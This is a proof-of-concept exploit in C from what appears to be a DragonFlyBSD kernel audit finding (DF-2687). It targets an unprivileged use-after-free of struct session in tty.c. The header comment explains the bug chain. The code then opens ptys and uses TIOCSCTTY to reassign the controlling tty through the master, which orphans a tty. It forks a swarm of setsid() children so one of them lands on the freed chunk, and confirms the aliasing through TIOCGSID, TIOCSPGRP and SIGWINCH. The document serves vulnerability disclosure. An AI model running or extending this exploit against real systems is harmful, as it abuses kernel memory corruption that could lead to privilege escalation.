DragonFlyBSD Kernel Audit
DF-2687 / df2687.c
← back to finding ↓ download raw
/*
 * DF-2687 - DragonFlyBSD sys/kern/tty.c
 * Unprivileged use-after-free of struct session via TIOCSCTTY reassignment.
 *
 * Bug chain:
 *  1. ioctl(master_fd, TIOCSCTTY) sets the session's ctty VNODE to the
 *     master's vnode (devfs_fo_ioctl uses whatever vnode the ioctl fd
 *     refers to; no slave-side validation, sys/vfs/devfs/devfs_vnops.c).
 *  2. Closing the master triggers devfs_spec_close's controlling-tty clear
 *     (s_ttyvp = NULL) -- but ptcclose() never calls ttyclose(), so
 *     tp->t_session stays set while s_ttyvp is NULL.
 *  3. The session leader can now TIOCSCTTY a SECOND tty (ttioctl's guard
 *     only tests s_ttyvp / tp->t_session). s_ttyp moves to tp2 and
 *     ttyunhold(tp1) drops tp1's hold -- but tp1->t_session is NEVER
 *     cleared: tp1 is orphaned, still pointing at the session.
 *  4. The leader exits: sess_rele() only fixes sess->s_ttyp->t_session
 *     (tp2) and kfrees the session. tp1->t_session dangles into freed
 *     M_SESSION memory.
 *  5. The next setsid() reuses the freed chunk (same type, same size,
 *     LIFO zone): tp1->t_session now ALIASES the new victim session.
 *     Proof of the aliasing (unprivileged, crash-free):
 *       - TIOCGSID on the orphaned slave returns the VICTIM's sid
 *         (isctty() compares p->p_session == tp->t_session and now
 *         matches a session that never did TIOCSCTTY on this tty)
 *       - victim TIOCSPGRP attaches its pgrp; TIOCSWINSZ then delivers
 *         SIGWINCH to the victim pgrp through the stale pointer.
 *
 * Mode "hold <sec>" pauses after step 4 holding the slave open so the
 * dangling t_session can be dumped from kern.ttys (root-side forensics).
 */
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sys/ttycom.h>
#include <sys/wait.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <signal.h>

static int winch_seen;
static int hup_seen;

static void
winch_handler(int sig)
{
	if (sig == SIGWINCH)
		winch_seen = 1;
	else if (sig == SIGHUP)
		hup_seen = 1;
}

static int
open_pty(int *unit, char *pts, char *ptm, int *slave)
{
	struct stat st;
	int m, s;

	m = open("/dev/ptmx", O_RDWR);
	if (m < 0) { perror("open(/dev/ptmx)"); return -1; }
	if (fstat(m, &st) < 0) { perror("fstat(ptmx)"); close(m); return -1; }
	*unit = minor(st.st_rdev);
	snprintf(pts, 64, "/dev/pts/%d", *unit);
	snprintf(ptm, 64, "/dev/ptm/%d", *unit);
	s = open(pts, O_RDWR);
	if (s < 0) { perror(pts); close(m); return -1; }
	*slave = s;
	return m;
}

int
main(int argc, char **argv)
{
	int rounds = 10;
	int hold = 0;
	int round;

	if (argc > 2 && strcmp(argv[1], "hold") == 0) {
		hold = atoi(argv[2]);
		rounds = 1;
	} else if (argc > 1) {
		rounds = atoi(argv[1]);
	}

	setvbuf(stderr, NULL, _IONBF, 0);

	for (round = 0; round < rounds; round++) {
		int unit, unit2, sid;
		char pts1[64], ptm1[64], pts2[64], ptm2[64];
		int pfd[2], vfd[2];
		pid_t L, V;
		int m, s, m2, s2;
		char c;

		if (pipe(pfd) < 0 || pipe(vfd) < 0) { perror("pipe"); return 1; }

		m = open_pty(&unit, pts1, ptm1, &s);
		if (m < 0) return 1;

		L = fork();
		if (L < 0) { perror("fork"); return 1; }
		if (L == 0) {
			/* ---- child L: future session leader ---- */
			close(pfd[0]);
			signal(SIGHUP, SIG_IGN);
			read(pfd[1], &c, 1);/* parent dropped its master fp */
			close(pfd[1]);

			if (setsid() < 0) { perror("setsid"); _exit(9); }

			/* (1) ctty vnode := MASTER vnode of pty1 */
			if (ioctl(m, TIOCSCTTY, 0) < 0) {
				perror("L: TIOCSCTTY(master)"); _exit(10);
			}

			/* (2) last close of master: clears s_ttyvp only */
			close(m);

			/* (3) reassign ctty to pty2 -> orphans tp1 */
			m2 = open_pty(&unit2, pts2, ptm2, &s2);
			if (m2 < 0) _exit(11);
			if (ioctl(s2, TIOCSCTTY, 0) < 0) {
				perror("L: TIOCSCTTY(pts2)"); _exit(13);
			}

			/* (4) exit: session S freed; tp1->t_session dangles */
			_exit(0);
		}

		/* ---- parent A ---- */
		close(pfd[1]);
		close(m);			/* drop our master fp copy first */
		write(pfd[0], "x", 1);
		close(pfd[0]);

		{
			int st;
			if (waitpid(L, &st, 0) < 0) { perror("waitpid"); return 1; }
			if (!WIFEXITED(st) || WEXITSTATUS(st) != 0) {
				fprintf(stderr, "round %d: child failed st=%#x\n", round, st);
				return 1;
			}
		}

		if (hold) {
			fprintf(stderr,
				"HOLD: orphaned slave %s open (unit %d), "
				"sleeping %ds for kern.ttys forensics\n",
				pts1, unit, hold);
			sleep(hold);
			close(s);
			fprintf(stderr, "HOLD done\n");
			return 0;
		}

		/*
		 * (5) Candidate swarm: each child setsid()s (allocating a
		 * session from the same M_SESSION zone that just freed S).
		 * The candidate that lands on the freed chunk becomes
		 * ALIASED: tp1->t_session == its session, so isctty()
		 * matches and TIOCGSID on the orphan succeeds.
		 */
		{
			pid_t cand[64];
			int i, nw = 0;
			int wpipe[2];
			char cc;

			if (pipe(wpipe) < 0) { perror("pipe w"); return 1; }

			for (i = 0; i < 64; i++) {
				V = fork();
				if (V < 0) break;
				if (V == 0) {
					struct sigaction sa;
					int mypid = getpid();
					int mu, ms3, mt;
					char p3[64], pm3[64];

					close(wpipe[0]);
					if (setsid() < 0) _exit(1);

					memset(&sa, 0, sizeof(sa));
					sa.sa_handler = winch_handler;
					sigaction(SIGWINCH, &sa, NULL);
					sigaction(SIGHUP, &sa, NULL);

					/*
					 * isctty() needs P_CONTROLT, which
					 * setsid() cleared. Do a TIOCSCTTY
					 * on our OWN fresh pty to set it.
					 */
					mt = open_pty(&mu, p3, pm3, &ms3);
					if (mt < 0) _exit(2);
					if (ioctl(ms3, TIOCSCTTY, 0) < 0)
						_exit(3);
					close(mt);	/* keep ctty via slave fd */

					sid = -1;
					if (ioctl(s, TIOCGSID, &sid) == 0 &&
					    sid == mypid) {
						/* ALIAS confirmed on this one */
						if (ioctl(s, TIOCSPGRP, &mypid) < 0)
							fprintf(stderr,
								"V%d: TIOCSPGRP: %s\n",
								mypid, strerror(errno));
						fprintf(stderr,
							"V%d: ALIAS CONFIRMED - orphaned tty reports MY sid %d\n",
							mypid, sid);
						write(wpipe[1], "A", 1);
						sleep(4);
						fprintf(stderr,
							"V%d: winch_seen=%d hup_seen=%d\n",
							mypid, winch_seen, hup_seen);
						write(wpipe[1],
						      winch_seen ? "W" : "n", 1);
						pause();
						_exit(0);
					}
					/*
					 * No alias: STAY ALIVE so our
					 * session chunk stays allocated --
					 * successive candidates walk down
					 * the zone free list towards the
					 * freed session chunk.
					 */
					sleep(25);
					_exit(1);
				}
				cand[i] = V;
			}
			close(wpipe[1]);
			usleep(400000);		/* let candidates settle */

			/*
			 * (6) A (unrelated to any candidate session) pokes
			 * the orphaned tty repeatedly: TIOCSWINSZ ->
			 * pgsignal(t_pgrp) via the aliased session state.
			 */
			{
				struct winsize ws;
				int t, k;
				for (k = 0; k < 8; k++) {
					t = time(NULL) + k;
					memset(&ws, 0, sizeof(ws));
					ws.ws_row = 20 + (t % 50);
					ws.ws_col = 80 + (t % 40);
					if (ioctl(s, TIOCSWINSZ, &ws) < 0)
						fprintf(stderr, "A: TIOCSWINSZ: %s\n",
							strerror(errno));
					usleep(200000);
				}
			}

			{
				struct timeval tv;
				tv.tv_sec = 5;
				tv.tv_usec = 0;
				select(0, NULL, NULL, NULL, &tv);
			}
			for (i = 0; i < 64; i++)
				kill(cand[i], SIGKILL);
			for (i = 0; i < 64; i++)
				waitpid(cand[i], NULL, 0);
			close(wpipe[0]);
		}

		close(s);			/* ttyclearsession on dangling S */
		fprintf(stderr, "round %d done\n", round);
	}
	return 0;
}